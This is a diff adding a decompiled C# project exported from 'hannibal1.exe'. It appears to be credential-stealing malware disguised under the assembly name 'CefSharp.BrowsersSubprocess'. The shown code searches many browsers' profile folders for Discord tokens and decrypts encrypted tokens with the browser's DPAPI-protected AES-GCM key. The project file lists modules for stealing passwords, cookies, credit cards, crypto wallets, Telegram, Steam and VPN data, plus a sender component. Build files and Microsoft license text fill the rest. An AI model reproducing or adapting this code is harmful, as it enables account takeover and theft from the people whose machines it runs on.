+            Path.Combine(dst.LocalAppDataPath, "Google", "Chrome", "User Data")
+          },
+          {
+            "FireFox",
+            Path.Combine(dst.RoamingPath, "Mozilla", "Firefox", "Profiles")
+          },
+          {
+            "Epic Privacy Browse",
+            Path.Combine(dst.LocalAppDataPath, "Epic Privacy Browser", "User Data")
+          },
+          {
+            "Microsoft Edge",
+            Path.Combine(dst.LocalAppDataPath, "Microsoft", "Edge", "User Data")
+          },
+          {
+            "Uran",
+            Path.Combine(dst.LocalAppDataPath, "uCozMedia", "Uran", "User Data")
+          },
+          {
+            "Yandex",
+            Path.Combine(dst.LocalAppDataPath, "Yandex", "YandexBrowser", "User Data")
+          },
+          {
+            "Brave",
+            Path.Combine(dst.LocalAppDataPath, "BraveSoftware", "Brave-Browser", "User Data")
+          },
+          {
+            "Iridium",
+            Path.Combine(dst.LocalAppDataPath, "Iridium", "User Data")
+          }
+        })
+        {
+          if (Directory.Exists(keyValuePair.Value))
+          {
+            if (keyValuePair.Key == "Firefox")
+            {
+              taskList.Add(dst.FireFoxMethod(keyValuePair.Value));
+            }
+            else
+            {
+              taskList.Add(dst.MethodA(keyValuePair.Value));
+              taskList.Add(dst.MethodB(keyValuePair.Value));
+            }
+          }
+        }
+        await Task.WhenAll((IEnumerable<Task>) taskList);
+        await dst.RemoveDub();
+      }
+
+      private static async Task MethodA(string path)
+      {
+        string[] allowedExtentions = new string[2]
+        {
+          ".log",
+          ".ldb"
+        };
+        Regex regex = new Regex("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{25,110}", RegexOptions.Compiled);
+        List<Task> processes = new List<Task>();
+        List<string> obtainedTokens = new List<string>();
+        string[] strArray1 = await Task.Run<string[]>((Func<string[]>) (() => Directory.GetDirectories(path, "leveldb", SearchOption.AllDirectories)));
+        for (int index1 = 0; index1 < strArray1.Length; ++index1)
+        {
+          string[] strArray2 = ((IEnumerable<string>) Directory.GetFiles(strArray1[index1], "*", SearchOption.TopDirectoryOnly)).Where<string>((Func<string, bool>) (file => ((IEnumerable<string>) allowedExtentions).Contains<string>(Path.GetExtension(file)))).ToArray<string>();
+          for (int index2 = 0; index2 < strArray2.Length; ++index2)
+          {
+            string path1 = strArray2[index2];
+            try
+            {
+              string endAsync;
+              using (FileStream fs = new FileStream(path1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
+              {
+                using (StreamReader reader = new StreamReader((Stream) fs))
+                  endAsync = await reader.ReadToEndAsync();
+              }
+              if (!string.IsNullOrWhiteSpace(endAsync))
+              {
+                foreach (Capture match in regex.Matches(endAsync))
+                {
+                  string token = match.Value;
+                  if (!obtainedTokens.Contains(token))
+                  {
+                    processes.Add(dst.AddAccount(token));
+                    obtainedTokens.Add(token);
+                  }
+                }
+              }
+            }
+            catch (Exception ex)
+            {
+              Console.WriteLine((object) ex);
+            }
+          }
+          strArray2 = (string[]) null;
+        }
+        strArray1 = (string[]) null;
+        await Task.WhenAll((IEnumerable<Task>) processes);
+        regex = (Regex) null;
+        processes = (List<Task>) null;
+        obtainedTokens = (List<string>) null;
+      }
+
+      private static async Task MethodB(string path)
+      {
+        string[] allowedExtentions = new string[2]
+        {
+          ".log",
+          ".ldb"
+        };
+        Regex regex = new Regex("dQw4w9WgXcQ:[^.*\\['(.*)'\\].*$][^\"]*", RegexOptions.Compiled);
+        List<Task> processes = new List<Task>();
+        List<string> obtainedTokens = new List<string>();
+        string path1 = Path.Combine(path, "Local State");
+        string levelDbPath = Path.Combine(path, "Local Storage", "leveldb");
+        if (File.Exists(path1) && Directory.Exists(levelDbPath))
+        {
+          try
+          {
+            string str = File.ReadAllText(path1);
+            int num1 = str.IndexOf("\"os_crypt\":");
+            int num2 = str.IndexOf("\"", num1 + 12);
+            byte[] key = ((IEnumerable<byte>) Convert.FromBase64String(str.Substring(num1 + 12, num2 - num1 - 12).Split(':')[1].Trim('"'))).Skip<byte>(5).ToArray<byte>();
+            foreach (string path2 in await Task.Run<string[]>((Func<string[]>) (() => ((IEnumerable<string>) Directory.GetFiles(levelDbPath, "*", SearchOption.TopDirectoryOnly)).Where<string>((Func<string, bool>) (file => ((IEnumerable<string>) allowedExtentions).Contains<string>(Path.GetExtension(file)))).ToArray<string>())))
+            {
+              string input = File.ReadAllText(path2);
+              if (!string.IsNullOrWhiteSpace(input))
+              {
+                foreach (Capture match in regex.Matches(input))
+                {
+                  string source = match.Value;
+                  if (source.EndsWith("\\"))
+                    source = source.Take<char>(source.Length - 1).ToString();
+                  string token = dst.DecryptTokenMethodB(Convert.FromBase64String(source.Split(new string[1]
+                  {
+                    "dQw4w9WgXcQ:"
+                  }, StringSplitOptions.None)[1]), key);
+                  if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token))
+                  {
+                    processes.Add(dst.AddAccount(token));
+                    obtainedTokens.Add(token);
+                  }
+                }
+              }
+            }
+            key = (byte[]) null;
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+        }
+        await Task.WhenAll((IEnumerable<Task>) processes);
+        regex = (Regex) null;
+        processes = (List<Task>) null;
+        obtainedTokens = (List<string>) null;
+      }
+
+      private static async Task FireFoxMethod(string path)
+      {
+        List<Task> processes = new List<Task>();
+        List<string> obtainedTokens = new List<string>();
+        Regex regex = new Regex("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{25,110}", RegexOptions.Compiled);
+        string[] strArray = await Task.Run<string[]>((Func<string[]>) (() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories)));
+        for (int index = 0; index < strArray.Length; ++index)
+        {
+          string path1 = strArray[index];
+          try
+          {
+            string endAsync;
+            using (FileStream fs = new FileStream(path1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
+            {
+              using (StreamReader reader = new StreamReader((Stream) fs))
+                endAsync = await reader.ReadToEndAsync();
+            }
+            if (!string.IsNullOrWhiteSpace(endAsync))
+            {
+              foreach (Capture match in regex.Matches(endAsync))
+              {
+                string token = match.Value;
+                if (!obtainedTokens.Contains(token) && !string.IsNullOrWhiteSpace(token))
+                {
+                  processes.Add(dst.AddAccount(token));
+                  obtainedTokens.Add(token);
+                }
+              }
+            }
+          }
+          catch (Exception ex)
+          {
+            Console.WriteLine((object) ex);
+          }
+        }
+        strArray = (string[]) null;
+        await Task.WhenAll((IEnumerable<Task>) processes);
+        processes = (List<Task>) null;
+        obtainedTokens = (List<string>) null;
+        regex = (Regex) null;
+      }
+
+      private static string DecryptTokenMethodB(byte[] buffer, byte[] protectedKey)
+      {
+        try
+        {
+          byte[] array1 = ((IEnumerable<byte>) buffer).Skip<byte>(15).ToArray<byte>();
+          byte[] key = ProtectedData.Unprotect(protectedKey, (byte[]) null, DataProtectionScope.CurrentUser);
+          byte[] array2 = ((IEnumerable<byte>) buffer).Skip<byte>(3).Take<byte>(12).ToArray<byte>();
+          byte[] array3 = ((IEnumerable<byte>) array1).Skip<byte>(array1.Length - 16 /*0x10*/).ToArray<byte>();
+          byte[] array4 = ((IEnumerable<byte>) array1).Take<byte>(array1.Length - array3.Length).ToArray<byte>();
+          return Encoding.UTF8.GetString(new AesGcm().Decrypt(key, array2, (byte[]) null, array4, array3));
+        }
+        catch (Exception ex)
+        {
+          Console.WriteLine((object) ex);
+          return string.Empty;
+        }
+      }
+
+      private static async Task AddAccount(string token)
+      {
+        dst._accounts.Add(new DiscordAccountFormat(token));
+      }
+
+      private static async Task RemoveDub()
+      {
+        dst._accounts.Distinct<DiscordAccountFormat>().ToList<DiscordAccountFormat>();
+      }
+    }
+}

hannibal1.csproj

@@ -0,0 +1,136 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\pitsc\hannibal1.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{0EA04CEA-FF13-426E-8C33-531603D6332E}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>CefSharp.BrowsersSubprocess</AssemblyName>
+    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
+    <ApplicationVersion>1.0.1.1</ApplicationVersion>
+    <FileAlignment>512</FileAlignment>
+    <RootNamespace>SHARP</RootNamespace>
+    <TargetFrameworkProfile />
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>
+  </PropertyGroup>
+  <PropertyGroup>
+    <StartupObject>SHARP.Program</StartupObject>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.IO, Version=4.1.1.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
+      <HintPath>packages\System.IO.4.3.0\lib\net462\System.IO.dll</HintPath>
+      <Private>True</Private>
+      <Private>True</Private>
+    </Reference>
+    <Reference Include="System.IO.Compression, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
+      <HintPath>packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll</HintPath>
+      <Private>True</Private>
+      <Private>True</Private>
+    </Reference>
+    <Reference Include="System.Management" />
+    <Reference Include="System.Net.Http" />
+    <Reference Include="System.Security" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="AesGcm.cs" />
+    <Compile Include="BCrypt.cs" />
+    <Compile Include="GDecryptor.cs" />
+    <Compile Include="Browsers.cs" />
+    <Compile Include="BRWSR.cs" />
+    <Compile Include="PathsCV20.cs" />
+    <Compile Include="V20Collect.cs" />
+    <Compile Include="PasswordFormat.cs" />
+    <Compile Include="CookieFormat.cs" />
+    <Compile Include="AutoFilesFormat.cs" />
+    <Compile Include="CreditCardFormat.cs" />
+    <Compile Include="GBRWSR.cs" />
+    <Compile Include="Writer.cs" />
+    <Compile Include="Clipboard.cs" />
+    <Compile Include="Monitor.cs" />
+    <Compile Include="Patterns.cs" />
+    <Compile Include="Config.cs" />
+    <Compile Include="StartWallets.cs" />
+    <Compile Include="Armory.cs" />
+    <Compile Include="AtomicWallet.cs" />
+    <Compile Include="BitcoinCore.cs" />
+    <Compile Include="Bytecoin.cs" />
+    <Compile Include="DashCore.cs" />
+    <Compile Include="Electrum.cs" />
+    <Compile Include="Ethereum.cs" />
+    <Compile Include="Exodus.cs" />
+    <Compile Include="Jaxx.cs" />
+    <Compile Include="LitecoinCore.cs" />
+    <Compile Include="Metamask.cs" />
+    <Compile Include="Monero.cs" />
+    <Compile Include="Zcash.cs" />
+    <Compile Include="Discord.cs" />
+    <Compile Include="dst.cs" />
+    <Compile Include="DiscordAccountFormat.cs" />
+    <Compile Include="Files.cs" />
+    <Compile Include="GetFiles.cs" />
+    <Compile Include="IFolders.cs" />
+    <Compile Include="FileZilla.cs" />
+    <Compile Include="TotalCommander.cs" />
+    <Compile Include="Counting.cs" />
+    <Compile Include="Filemanager.cs" />
+    <Compile Include="Help.cs" />
+    <Compile Include="ProcessList.cs" />
+    <Compile Include="IP.cs" />
+    <Compile Include="LocationInfo.cs" />
+    <Compile Include="Otstuk.cs" />
+    <Compile Include="OMethod.cs" />
+    <Compile Include="Program.cs" />
+    <Compile Include="SQLiteHandler.cs" />
+    <Compile Include="Screenchik.cs" />
+    <Compile Include="SenderAPI.cs" />
+    <Compile Include="Steam.cs" />
+    <Compile Include="BSSID.cs" />
+    <Compile Include="Buffers.cs" />
+    <Compile Include="SystemInfo.cs" />
+    <Compile Include="WinAPI.cs" />
+    <Compile Include="Telegram.cs" />
+    <Compile Include="CyberGhost.cs" />
+    <Compile Include="ExpressVPN.cs" />
+    <Compile Include="NordVPN.cs" />
+    <Compile Include="OpenVPN.cs" />
+    <Compile Include="PIAVPN.cs" />
+    <Compile Include="ProtonVPN.cs" />
+    <Compile Include="StartVPN.cs" />
+    <Compile Include="Properties\Resources.cs" />
+    <Compile Include="Properties\Settings.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Properties\Resources.resx" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="app.config" />
+    <None Include="packages.config" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+</Project>

hannibal1.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CefSharp.BrowsersSubprocess", "hannibal1.csproj", "{0EA04CEA-FF13-426E-8C33-531603D6332E}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{0EA04CEA-FF13-426E-8C33-531603D6332E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{0EA04CEA-FF13-426E-8C33-531603D6332E}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{0EA04CEA-FF13-426E-8C33-531603D6332E}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{0EA04CEA-FF13-426E-8C33-531603D6332E}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

packages.config

@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<packages>
+  <package id="System.IO" version="4.3.0" targetFramework="net48" />
+  <package id="System.IO.Compression" version="4.3.0" targetFramework="net48" />
+</packages>

packages/System.IO.4.3.0/ThirdPartyNotices.txt

@@ -0,0 +1,31 @@
+This Microsoft .NET Library may incorporate components from the projects listed
+below. Microsoft licenses these components under the Microsoft .NET Library
+software license terms. The original copyright notices and the licenses under
+which Microsoft received such components are set forth below for informational
+purposes only. Microsoft reserves all rights not expressly granted herein,
+whether by implication, estoppel or otherwise.
+
+1.	.NET Core (https://github.com/dotnet/core/)
+
+.NET Core
+Copyright (c) .NET Foundation and Contributors
+
+The MIT License (MIT)
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

packages/System.IO.4.3.0/dotnet_library_license.txt

@@ -0,0 +1,128 @@
+
+MICROSOFT SOFTWARE LICENSE TERMS
+
+
+MICROSOFT .NET LIBRARY 
+
+These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft
+
+·         updates,
+
+·         supplements,
+
+·         Internet-based services, and
+
+·         support services
+
+for this software, unless other terms accompany those items. If so, those terms apply.
+
+BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.
+
+
+IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW.
+
+1.    INSTALLATION AND USE RIGHTS. 
+
+a.    Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs.
+
+b.    Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only.
+
+2.    ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS.
+
+a.    DISTRIBUTABLE CODE.  The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below.
+
+i.      Right to Use and Distribute. 
+
+·         You may copy and distribute the object code form of the software.
+
+·         Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs.
+
+ii.    Distribution Requirements. For any Distributable Code you distribute, you must
+
+·         add significant primary functionality to it in your programs;
+
+·         require distributors and external end users to agree to terms that protect it at least as much as this agreement;
+
+·         display your valid copyright notice on your programs; and
+
+·         indemnify, defend, and hold harmless Microsoft from any claims, including attorneys’ fees, related to the distribution or use of your programs.
+
+iii.   Distribution Restrictions. You may not
+
+·         alter any copyright, trademark or patent notice in the Distributable Code;
+
+·         use Microsoft’s trademarks in your programs’ names or in a way that suggests your programs come from or are endorsed by Microsoft;
+
+·         include Distributable Code in malicious, deceptive or unlawful programs; or
+
+·         modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that
+
+·         the code be disclosed or distributed in source code form; or
+
+·         others have the right to modify it.
+
+3.    SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not
+
+·         work around any technical limitations in the software;
+
+·         reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation;
+
+·         publish the software for others to copy;
+
+·         rent, lease or lend the software;
+
+·         transfer the software or this agreement to any third party; or
+
+·         use the software for commercial software hosting services.
+
+4.    BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software.
+
+5.    DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.
+
+6.    EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting.
+
+7.    SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it.
+
+8.    ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.
+
+9.    APPLICABLE LAW.
+
+a.    United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.
+
+b.    Outside the United States. If you acquired the software in any other country, the laws of that country apply.
+
+10.  LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.
+
+11.  DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
+
+FOR AUSTRALIA – YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS.
+
+12.  LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES.
+
+This limitation applies to
+
+·         anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and
+
+·         claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.
+
+It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.
+
+Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.
+
+Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français.
+
+EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft n’accorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, d’adéquation à un usage particulier et d’absence de contrefaçon sont exclues.
+
+LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices.
+
+Cette limitation concerne :
+
+·         tout ce qui est relié au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et
+
+·         les réclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilité stricte, de négligence ou d’une autre faute dans la limite autorisée par la loi en vigueur.
+
+Elle s’applique également, même si Microsoft connaissait ou devrait connaître l’éventualité d’un tel dommage. Si votre pays n’autorise pas l’exclusion ou la limitation de responsabilité pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l’exclusion ci-dessus ne s’appliquera pas à votre égard.
+
+EFFET JURIDIQUE. Le présent contrat décrit certains droits juridiques. Vous pourriez avoir d’autres droits prévus par les lois de votre pays. Le présent contrat ne modifie pas les droits que vous confèrent les lois de votre pays si celles-ci ne le permettent pas.
+
+